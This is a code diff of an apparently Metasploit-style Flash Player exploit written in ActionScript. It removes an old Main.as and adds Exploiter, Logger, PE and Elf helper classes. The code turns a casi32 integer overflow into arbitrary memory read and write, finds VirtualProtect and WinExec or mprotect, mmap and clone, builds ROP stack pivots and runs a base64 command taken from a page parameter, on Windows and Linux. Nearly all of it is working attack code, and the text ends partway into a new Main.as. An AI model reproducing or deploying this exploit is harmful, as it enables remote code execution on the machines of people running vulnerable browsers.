eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
|
||||||
|
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
|
||||||
|
eba.write(0, "\xF3\xA4", false) // rep movsb
|
||||||
|
eba.write(0, "\x59", false) // pop ecx
|
||||||
|
eba.write(0, "\x5f", false) // pop edi
|
||||||
|
eba.write(0, "\x5e", false) // pop esi
|
||||||
|
eba.write(0, "\xc3", false) // ret
|
||||||
|
|
||||||
|
// Put the popen parameters in memory
|
||||||
|
eba.write(payload_address + 0x8, payload, true) // false
|
||||||
|
|
||||||
|
// Put the fake stack/vtable on memory
|
||||||
|
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
|
||||||
|
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
|
||||||
|
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
|
||||||
|
|
||||||
|
// Return to mprotect()
|
||||||
|
eba.write(stack_address + 0x18034, mprotect)
|
||||||
|
// Return to stackpivot (jmp over mprotect parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// mprotect() arguments
|
||||||
|
eba.write(0, buffer) // addr
|
||||||
|
eba.write(0, 0x1000) // size
|
||||||
|
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||||
|
|
||||||
|
// Return to mmap()
|
||||||
|
eba.write(stack_address + 0x18068, mmap)
|
||||||
|
// Return to stackpivot (jmp over mmap parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// mmap() code segment arguments
|
||||||
|
eba.write(0, 0x70000000) // 0x70000000
|
||||||
|
eba.write(0, 0x4000) // size
|
||||||
|
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||||
|
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
|
||||||
|
eba.write(0, 0xffffffff) // filedes
|
||||||
|
eba.write(0, 0) // offset
|
||||||
|
|
||||||
|
// Return to mmap()
|
||||||
|
eba.write(stack_address + 0x1809c, mmap)
|
||||||
|
// Return to stackpivot (jmp over mmap parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// mmap() stack segment arguments
|
||||||
|
eba.write(0, 0x70008000) // NULL
|
||||||
|
eba.write(0, 0x10000) // size
|
||||||
|
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||||
|
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
|
||||||
|
eba.write(0, -1) // filedes
|
||||||
|
eba.write(0, 0) // offset
|
||||||
|
|
||||||
|
// Return to memcpy()
|
||||||
|
eba.write(stack_address + 0x180d0, buffer + 0x60)
|
||||||
|
// Return to stackpivot (jmp over memcpy parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// memcpy() parameters
|
||||||
|
eba.write(0, 0x70000000)
|
||||||
|
eba.write(0, payload_address + 0x8)
|
||||||
|
eba.write(0, payload.length)
|
||||||
|
|
||||||
|
// Return to clone()
|
||||||
|
eba.write(stack_address + 0x18104, clone)
|
||||||
|
// Return to CoE (fix stack and object vtable)
|
||||||
|
eba.write(0, buffer + 0x10)
|
||||||
|
// clone() arguments
|
||||||
|
eba.write(0, 0x70000000) // code
|
||||||
|
eba.write(0, 0x7000bff0) // stack
|
||||||
|
eba.write(0, 0x00000100) // flags CLONE_VM
|
||||||
|
eba.write(0, 0) // args
|
||||||
|
|
||||||
|
//call DWORD PTR [eax+0x24]
|
||||||
|
//EAX: 0x41414141 ('AAAA')
|
||||||
|
//EDI: 0xad857088 ("AAAA\377")
|
||||||
|
eba.write(main, stack_address + 0x18000)
|
||||||
|
exploit.hasOwnProperty('msf')
|
||||||
|
}
|
||||||
|
|
||||||
|
private function cleanup():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - cleanup()")
|
||||||
|
spray = null
|
||||||
|
stack = null
|
||||||
|
payload_space = null
|
||||||
|
eba = null
|
||||||
|
ev = null
|
||||||
|
exploit = null
|
||||||
|
System.pauseForGCIfCollectionImminent(0)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,32 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.external.ExternalInterface
|
||||||
|
|
||||||
|
public class Logger {
|
||||||
|
private static const DEBUG:uint = 0
|
||||||
|
|
||||||
|
public static function alert(msg:String):void
|
||||||
|
{
|
||||||
|
var str:String = "";
|
||||||
|
|
||||||
|
if (DEBUG == 1)
|
||||||
|
str += msg;
|
||||||
|
|
||||||
|
if(ExternalInterface.available){
|
||||||
|
ExternalInterface.call("alert", str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function log(msg:String):void
|
||||||
|
{
|
||||||
|
var str:String = "";
|
||||||
|
|
||||||
|
if (DEBUG == 1)
|
||||||
|
str += msg;
|
||||||
|
|
||||||
|
if(ExternalInterface.available){
|
||||||
|
ExternalInterface.call("console.log", str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -1,287 +0,0 @@
|
||||||
// Build how to:
|
|
||||||
// 1. Download the AIRSDK, and use its compiler.
|
|
||||||
// 2. Download the Flex SDK (4.6)
|
|
||||||
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
|
||||||
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
|
||||||
// 4. Build with: mxmlc -o msf.swf Main.as
|
|
||||||
|
|
||||||
// Original code skeleton by @hdarwin89 for other exploits
|
|
||||||
|
|
||||||
package
|
|
||||||
{
|
|
||||||
import flash.display.Sprite
|
|
||||||
import flash.utils.ByteArray
|
|
||||||
import flash.system.ApplicationDomain
|
|
||||||
import avm2.intrinsics.memory.casi32
|
|
||||||
import flash.display.LoaderInfo
|
|
||||||
import mx.utils.Base64Decoder
|
|
||||||
|
|
||||||
public class Main extends Sprite
|
|
||||||
{
|
|
||||||
private var BYTE_ARRAY_SIZE:Number = 1024
|
|
||||||
private var defrag:Vector.<Object> = new Vector.<Object>(100)
|
|
||||||
private var ov:Vector.<Object> = new Vector.<Object>(100)
|
|
||||||
private var uv:Vector.<Object> = new Vector.<Object>(100)
|
|
||||||
private var uv_index:uint
|
|
||||||
private var ba:ByteArray
|
|
||||||
private var b64:Base64Decoder = new Base64Decoder();
|
|
||||||
private var payload:String = ""
|
|
||||||
|
|
||||||
public function Main()
|
|
||||||
{
|
|
||||||
var i:uint = 0
|
|
||||||
var j:uint = 0
|
|
||||||
|
|
||||||
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
|
||||||
var pattern:RegExp = / /g;
|
|
||||||
b64_payload = b64_payload.replace(pattern, "+")
|
|
||||||
b64.decode(b64_payload)
|
|
||||||
payload = b64.toByteArray().toString()
|
|
||||||
for (i = 0; i < defrag.length; i++) {
|
|
||||||
defrag[i] = new ByteArray()
|
|
||||||
defrag[i].length = BYTE_ARRAY_SIZE
|
|
||||||
defrag[i].endian = "littleEndian"
|
|
||||||
}
|
|
||||||
|
|
||||||
ba = new ByteArray()
|
|
||||||
ov[0] = ba
|
|
||||||
ov[0].length = BYTE_ARRAY_SIZE
|
|
||||||
ov[0].endian = "littleEndian"
|
|
||||||
|
|
||||||
for (i = 1; i < ov.length; i++) {
|
|
||||||
ov[i] = new Vector.<Object>(1014)
|
|
||||||
ov[i][0] = ba
|
|
||||||
ov[i][1] = this
|
|
||||||
}
|
|
||||||
|
|
||||||
for (i = 0; i < uv.length; i++) {
|
|
||||||
uv[i] = new Vector.<uint>(1014)
|
|
||||||
uv[i][0] = 0x41424344
|
|
||||||
}
|
|
||||||
|
|
||||||
var stack:Vector.<uint> = new Vector.<uint>(0x6400)
|
|
||||||
var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
|
|
||||||
|
|
||||||
for (i = 1; i < ov.length; i++) {
|
|
||||||
ov[i][2] = stack
|
|
||||||
ov[i][3] = payload_space
|
|
||||||
}
|
|
||||||
|
|
||||||
ApplicationDomain.currentDomain.domainMemory = ba;
|
|
||||||
// Make ByteArray length 0 so the casi32 integer overflow
|
|
||||||
// can be exploited
|
|
||||||
ba.atomicCompareAndSwapLength(1024, 0)
|
|
||||||
|
|
||||||
var object_vector_pos:uint = search_object_vector()
|
|
||||||
var byte_array_object:uint = read_byte_array(object_vector_pos + 4) - 1
|
|
||||||
var stack_object:uint = read_byte_array(object_vector_pos + 12) - 1
|
|
||||||
var payload_space_object:uint = read_byte_array(object_vector_pos + 16) - 1
|
|
||||||
var main:uint = read_byte_array(object_vector_pos + 8) - 1
|
|
||||||
var uint_vector_pos:uint = search_uint_vector()
|
|
||||||
var object_vector_address:uint = read_byte_array(object_vector_pos - 16) + 12
|
|
||||||
var uint_vector_address:uint = object_vector_address + (uint_vector_pos - object_vector_pos)
|
|
||||||
|
|
||||||
// Overwrite uint vector length
|
|
||||||
var orig_length:uint = write_byte_array(uint_vector_pos, 0xffffffff)
|
|
||||||
|
|
||||||
for (i = 0; i < uv.length; i++) {
|
|
||||||
if (uv[i].length > 1024) {
|
|
||||||
uv_index = i
|
|
||||||
uv[i][0] = uint_vector_address
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
var buffer_object:uint = vector_read(byte_array_object + 0x40)
|
|
||||||
var buffer:uint = vector_read(buffer_object + 8)
|
|
||||||
var stack_address:uint = vector_read(stack_object + 0x18)
|
|
||||||
var payload_address:uint = vector_read(payload_space_object + 0x18)
|
|
||||||
var vtable:uint = vector_read(main)
|
|
||||||
|
|
||||||
// Set the new ByteArray length
|
|
||||||
ba.endian = "littleEndian"
|
|
||||||
ba.length = 0x500000
|
|
||||||
|
|
||||||
// Overwite the ByteArray data pointer and capacity
|
|
||||||
var ba_array:uint = buffer_object + 8
|
|
||||||
var ba_capacity:uint = buffer_object + 16
|
|
||||||
vector_write(ba_array)
|
|
||||||
vector_write(ba_capacity, 0xffffffff)
|
|
||||||
|
|
||||||
// restoring the corrupted vector length since we don't need it
|
|
||||||
// anymore
|
|
||||||
byte_write(uv[uv_index][0], orig_length)
|
|
||||||
|
|
||||||
var flash:uint = base(vtable)
|
|
||||||
var winmm:uint = module("winmm.dll", flash)
|
|
||||||
var kernel32:uint = module("kernel32.dll", winmm)
|
|
||||||
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
|
|
||||||
var winexec:uint = procedure("WinExec", kernel32)
|
|
||||||
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
|
|
||||||
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
|
|
||||||
|
|
||||||
// Continuation of execution
|
|
||||||
byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
|
|
||||||
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
|
|
||||||
byte_write(0, "\x89\x03", false) // mov [ebx], eax
|
|
||||||
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
|
||||||
|
|
||||||
// Put the payload (command) in memory
|
|
||||||
byte_write(payload_address + 8, payload, true); // payload
|
|
||||||
|
|
||||||
// Put the fake vtabe / stack on memory
|
|
||||||
byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
|
||||||
byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
|
||||||
byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
|
||||||
byte_write(0, virtualprotect)
|
|
||||||
|
|
||||||
// VirtualProtect
|
|
||||||
byte_write(0, winexec)
|
|
||||||
byte_write(0, buffer + 0x10)
|
|
||||||
byte_write(0, 0x1000)
|
|
||||||
byte_write(0, 0x40)
|
|
||||||
byte_write(0, buffer + 0x8) // Writable address (4 bytes)
|
|
||||||
|
|
||||||
// WinExec
|
|
||||||
byte_write(0, buffer + 0x10)
|
|
||||||
byte_write(0, payload_address + 8)
|
|
||||||
byte_write(0)
|
|
||||||
|
|
||||||
byte_write(main, stack_address + 0x18000) // overwrite with fake vtable
|
|
||||||
|
|
||||||
toString() // call method in the fake vtable
|
|
||||||
}
|
|
||||||
|
|
||||||
// Methods to use the integer overflow
|
|
||||||
|
|
||||||
private function search_object_vector(limit:uint = 0xf9000, pattern:uint = 1014):uint {
|
|
||||||
var mem:uint = 0
|
|
||||||
var mem_first_pos:uint = 0
|
|
||||||
var next_length:uint = 0
|
|
||||||
|
|
||||||
for (var i:uint = 0; i < limit; i = i + 4) {
|
|
||||||
mem = read_byte_array(i)
|
|
||||||
mem_first_pos = read_byte_array(i + 8)
|
|
||||||
if (mem == pattern && mem_first_pos != 0x41424344) {
|
|
||||||
return i;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
|
|
||||||
private function search_uint_vector(limit:uint = 0xf9000, pattern:uint = 1014):uint {
|
|
||||||
var mem:uint = 0
|
|
||||||
var mem_first_pos:uint = 0
|
|
||||||
|
|
||||||
for (var i:uint = 0; i < limit; i = i + 4) {
|
|
||||||
mem = read_byte_array(i)
|
|
||||||
mem_first_pos = read_byte_array(i + 8)
|
|
||||||
if (mem == pattern && mem_first_pos == 0x41424344) {
|
|
||||||
return i;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
|
|
||||||
private function read_byte_array(offset:uint = 0):uint {
|
|
||||||
var old:uint = casi32(offset, 0xdeedbeef, 0xdeedbeef)
|
|
||||||
return old
|
|
||||||
}
|
|
||||||
|
|
||||||
private function write_byte_array(offset:uint = 0, value:uint = 0):uint {
|
|
||||||
var old:uint = read_byte_array(offset)
|
|
||||||
casi32(offset, old, value)
|
|
||||||
return old
|
|
||||||
}
|
|
||||||
|
|
||||||
// Methods to use the corrupted vector for arbitrary reading/writing
|
|
||||||
|
|
||||||
private function vector_write(addr:uint, value:uint = 0):void
|
|
||||||
{
|
|
||||||
addr > uv[uv_index][0] ? uv[uv_index][(addr - uv[uv_index][0]) / 4 - 2] = value : uv[uv_index][0xffffffff - (uv[uv_index][0] - addr) / 4 - 1] = value
|
|
||||||
}
|
|
||||||
|
|
||||||
private function vector_read(addr:uint):uint
|
|
||||||
{
|
|
||||||
return addr > uv[uv_index][0] ? uv[uv_index][(addr - uv[uv_index][0]) / 4 - 2] : uv[uv_index][0xffffffff - (uv[uv_index][0] - addr) / 4 - 1]
|
|
||||||
}
|
|
||||||
|
|
||||||
// Methods to use the corrupted byte array for arbitrary reading/writing
|
|
||||||
|
|
||||||
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
|
|
||||||
{
|
|
||||||
if (addr) ba.position = addr
|
|
||||||
if (value is String) {
|
|
||||||
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
|
||||||
if (zero) ba.writeByte(0)
|
|
||||||
} else ba.writeUnsignedInt(value)
|
|
||||||
}
|
|
||||||
|
|
||||||
private function byte_read(addr:uint, type:String = "dword"):uint
|
|
||||||
{
|
|
||||||
ba.position = addr
|
|
||||||
switch(type) {
|
|
||||||
case "dword":
|
|
||||||
return ba.readUnsignedInt()
|
|
||||||
case "word":
|
|
||||||
return ba.readUnsignedShort()
|
|
||||||
case "byte":
|
|
||||||
return ba.readUnsignedByte()
|
|
||||||
}
|
|
||||||
return 0
|
|
||||||
}
|
|
||||||
|
|
||||||
// Methods to search the memory with the corrupted byte array
|
|
||||||
|
|
||||||
private function base(addr:uint):uint
|
|
||||||
{
|
|
||||||
addr &= 0xffff0000
|
|
||||||
while (true) {
|
|
||||||
if (byte_read(addr) == 0x00905a4d) return addr
|
|
||||||
addr -= 0x10000
|
|
||||||
}
|
|
||||||
return 0
|
|
||||||
}
|
|
||||||
|
|
||||||
private function module(name:String, addr:uint):uint
|
|
||||||
{
|
|
||||||
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
|
|
||||||
var i:int = -1
|
|
||||||
while (true) {
|
|
||||||
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
|
|
||||||
if (!entry) throw new Error("FAIL!");
|
|
||||||
ba.position = addr + entry
|
|
||||||
var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
|
|
||||||
if (dll_name == name.toUpperCase()) {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
|
|
||||||
}
|
|
||||||
|
|
||||||
private function procedure(name:String, addr:uint):uint
|
|
||||||
{
|
|
||||||
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
|
|
||||||
var numberOfNames:uint = byte_read(eat + 0x18)
|
|
||||||
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
|
|
||||||
var addressOfNames:uint = addr + byte_read(eat + 0x20)
|
|
||||||
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
|
|
||||||
|
|
||||||
for (var i:uint = 0; ; i++) {
|
|
||||||
var entry:uint = byte_read(addressOfNames + i * 4)
|
|
||||||
ba.position = addr + entry
|
|
||||||
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
|
|
||||||
}
|
|
||||||
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
|
|
||||||
}
|
|
||||||
|
|
||||||
private function gadget(gadget:String, hint:uint, addr:uint):uint
|
|
||||||
{
|
|
||||||
var find:uint = 0
|
|
||||||
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
|
|
||||||
var value:uint = parseInt(gadget, 16)
|
|
||||||
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
|
|
||||||
return addr + i
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -0,0 +1,72 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
public class PE
|
||||||
|
{
|
||||||
|
private var eba:ExploitByteArray
|
||||||
|
|
||||||
|
public function PE(ba:ExploitByteArray)
|
||||||
|
{
|
||||||
|
eba = ba
|
||||||
|
}
|
||||||
|
|
||||||
|
public function base(addr:uint):uint
|
||||||
|
{
|
||||||
|
addr &= 0xffff0000
|
||||||
|
while (true) {
|
||||||
|
if (eba.read(addr) == 0x00905a4d) return addr
|
||||||
|
addr -= 0x10000
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
public function module(name:String, addr:uint):uint
|
||||||
|
{
|
||||||
|
var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1
|
||||||
|
var mod_name:String
|
||||||
|
|
||||||
|
while (true) {
|
||||||
|
var entry:uint = eba.read(iat + (++i) * 0x14 + 12)
|
||||||
|
if (!entry) throw new Error("FAIL!");
|
||||||
|
mod_name = eba.read_string(addr + entry, name.length)
|
||||||
|
if (mod_name.toUpperCase() == name.toUpperCase()) break
|
||||||
|
}
|
||||||
|
return base(eba.read(addr + eba.read(iat + i * 0x14 + 16)))
|
||||||
|
}
|
||||||
|
|
||||||
|
public function procedure(name:String, addr:uint):uint
|
||||||
|
{
|
||||||
|
var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78)
|
||||||
|
var numberOfNames:uint = eba.read(eat + 0x18)
|
||||||
|
var addressOfFunctions:uint = addr + eba.read(eat + 0x1c)
|
||||||
|
var addressOfNames:uint = addr + eba.read(eat + 0x20)
|
||||||
|
var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24)
|
||||||
|
var proc_name:String
|
||||||
|
|
||||||
|
for (var i:uint = 0; ; i++) {
|
||||||
|
var entry:uint = eba.read(addressOfNames + i * 4)
|
||||||
|
proc_name = eba.read_string(addr + entry, name.length + 2)
|
||||||
|
if (proc_name.toUpperCase() == name.toUpperCase()) break
|
||||||
|
}
|
||||||
|
return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4)
|
||||||
|
}
|
||||||
|
|
||||||
|
public function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||||
|
{
|
||||||
|
var find:uint = 0
|
||||||
|
var contents:uint = 0
|
||||||
|
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
|
||||||
|
var value:uint = parseInt(gadget, 16)
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < limit - 4; i++) {
|
||||||
|
contents = eba.read(addr + i)
|
||||||
|
if (hint == 0xffffffff && value == contents) {
|
||||||
|
return addr + i
|
||||||
|
}
|
||||||
|
if (hint != 0xffffffff && value == (contents & hint)) {
|
||||||
|
return addr + i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,235 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
public class Elf
|
||||||
|
{
|
||||||
|
private const PT_DYNAMIC:uint = 2
|
||||||
|
private const PT_LOAD:uint = 1
|
||||||
|
private const PT_READ_EXEC:uint = 5
|
||||||
|
private const DT_SYMTAB:uint = 6
|
||||||
|
private const DT_STRTAB:uint = 5
|
||||||
|
private const DT_PLTGOT:uint = 3
|
||||||
|
|
||||||
|
private var e_ba:ExploitByteArray
|
||||||
|
// elf base address
|
||||||
|
public var base:uint = 0
|
||||||
|
// program header address
|
||||||
|
public var ph:uint = 0
|
||||||
|
// number of program headers
|
||||||
|
public var ph_size:uint = 0
|
||||||
|
// program header entry size
|
||||||
|
public var ph_esize:uint = 0
|
||||||
|
// DYNAMIC segment address
|
||||||
|
public var seg_dynamic:uint = 0
|
||||||
|
// DYNAMIC segment size
|
||||||
|
public var seg_dynamic_size:uint = 0
|
||||||
|
// CODE segment address
|
||||||
|
public var seg_exec:uint = 0
|
||||||
|
// CODE segment size
|
||||||
|
public var seg_exec_size:uint = 0
|
||||||
|
// .dynsyn section address
|
||||||
|
public var sec_dynsym:uint = 0
|
||||||
|
// .synstr section address
|
||||||
|
public var sec_dynstr:uint = 0
|
||||||
|
// .got.plt section address
|
||||||
|
public var sec_got_plt:uint = 0
|
||||||
|
|
||||||
|
public function Elf(ba:ExploitByteArray, addr:uint)
|
||||||
|
{
|
||||||
|
e_ba = ba
|
||||||
|
set_base(addr)
|
||||||
|
set_program_header()
|
||||||
|
set_program_header_size()
|
||||||
|
set_program_header_entry_size()
|
||||||
|
set_dynamic_segment()
|
||||||
|
set_exec_segment()
|
||||||
|
set_dynsym()
|
||||||
|
set_dynstr()
|
||||||
|
set_got_plt()
|
||||||
|
}
|
||||||
|
|
||||||
|
public function external_symbol(name:String):uint {
|
||||||
|
var entry:uint = 0
|
||||||
|
var st_name:uint = 0
|
||||||
|
var st_value:uint = 0
|
||||||
|
var st_size:uint = 0
|
||||||
|
var st_info:uint = 0
|
||||||
|
var st_other:uint = 0
|
||||||
|
var st_shndx:uint = 0
|
||||||
|
var st_string:String = ""
|
||||||
|
var got_plt_index:uint = 0
|
||||||
|
|
||||||
|
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
|
||||||
|
entry = sec_dynsym + 0x10 + (i * 0x10)
|
||||||
|
st_name = e_ba.read(entry)
|
||||||
|
st_value = e_ba.read(entry + 4)
|
||||||
|
st_info = e_ba.read(entry + 0xc, "byte")
|
||||||
|
st_string = e_ba.read_string(sec_dynstr + st_name)
|
||||||
|
if (st_string == name) {
|
||||||
|
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
|
||||||
|
}
|
||||||
|
if (st_info != 0x11) {
|
||||||
|
got_plt_index++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
public function symbol(name:String):uint {
|
||||||
|
var entry:uint = 0
|
||||||
|
var st_name:uint = 0
|
||||||
|
var st_value:uint = 0
|
||||||
|
var st_size:uint = 0
|
||||||
|
var st_info:uint = 0
|
||||||
|
var st_other:uint = 0
|
||||||
|
var st_shndx:uint = 0
|
||||||
|
var st_string:String = ""
|
||||||
|
|
||||||
|
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
|
||||||
|
entry = sec_dynsym + 0x10 + (i * 0x10)
|
||||||
|
st_name = e_ba.read(entry)
|
||||||
|
st_value = e_ba.read(entry + 4)
|
||||||
|
st_info = e_ba.read(entry + 0xc, "byte")
|
||||||
|
st_string = e_ba.read_string(sec_dynstr + st_name)
|
||||||
|
if (st_string == name) {
|
||||||
|
return base + st_value
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public function gadget(gadget:String, hint:uint):uint
|
||||||
|
{
|
||||||
|
var value:uint = parseInt(gadget, 16)
|
||||||
|
var contents:uint = 0
|
||||||
|
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
|
||||||
|
contents = e_ba.read(seg_exec + i)
|
||||||
|
if (hint == 0xffffffff && value == contents) {
|
||||||
|
return seg_exec + i
|
||||||
|
}
|
||||||
|
if (hint != 0xffffffff && value == (contents & hint)) {
|
||||||
|
return seg_exec + i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_base(addr:uint):void
|
||||||
|
{
|
||||||
|
addr &= 0xffff0000
|
||||||
|
while (true) {
|
||||||
|
if (e_ba.read(addr) == 0x464c457f) {
|
||||||
|
base = addr
|
||||||
|
return
|
||||||
|
}
|
||||||
|
addr -= 0x1000
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_program_header():void
|
||||||
|
{
|
||||||
|
ph = base + e_ba.read(base + 0x1c)
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_program_header_size():void
|
||||||
|
{
|
||||||
|
ph_size = e_ba.read(base + 0x2c, "word")
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_program_header_entry_size():void
|
||||||
|
{
|
||||||
|
ph_esize = e_ba.read(base + 0x2a, "word")
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_dynamic_segment():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var p_type:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < ph_size; i++) {
|
||||||
|
entry = ph + (i * ph_esize)
|
||||||
|
p_type = e_ba.read(entry)
|
||||||
|
if (p_type == PT_DYNAMIC) {
|
||||||
|
seg_dynamic = base + e_ba.read(entry + 8)
|
||||||
|
seg_dynamic_size = e_ba.read(entry + 0x14)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_exec_segment():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var p_type:uint = 0
|
||||||
|
var p_flags:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < ph_size; i++) {
|
||||||
|
entry = ph + (i * ph_esize)
|
||||||
|
p_type = e_ba.read(entry)
|
||||||
|
p_flags = e_ba.read(entry + 0x18)
|
||||||
|
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
|
||||||
|
seg_exec = base + e_ba.read(entry + 8)
|
||||||
|
seg_exec_size = e_ba.read(entry + 0x14)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_dynsym():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var s_type:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||||
|
entry = seg_dynamic + i
|
||||||
|
s_type = e_ba.read(entry)
|
||||||
|
if (s_type == DT_SYMTAB) {
|
||||||
|
sec_dynsym = e_ba.read(entry + 4)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_dynstr():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var s_type:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||||
|
entry = seg_dynamic + i
|
||||||
|
s_type = e_ba.read(entry)
|
||||||
|
if (s_type == DT_STRTAB) {
|
||||||
|
sec_dynstr = e_ba.read(entry + 4)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_got_plt():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var s_type:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||||
|
entry = seg_dynamic + i
|
||||||
|
s_type = e_ba.read(entry)
|
||||||
|
if (s_type == DT_PLTGOT) {
|
||||||
|
sec_got_plt = e_ba.read(entry + 4)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,281 @@
|
||||||
|
// Build how to:
|
||||||
|
// 1. Download the AIRSDK, and use its compiler.
|
||||||
|
// 2. Download the Flex SDK (4.6)
|
||||||
|
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
||||||
|
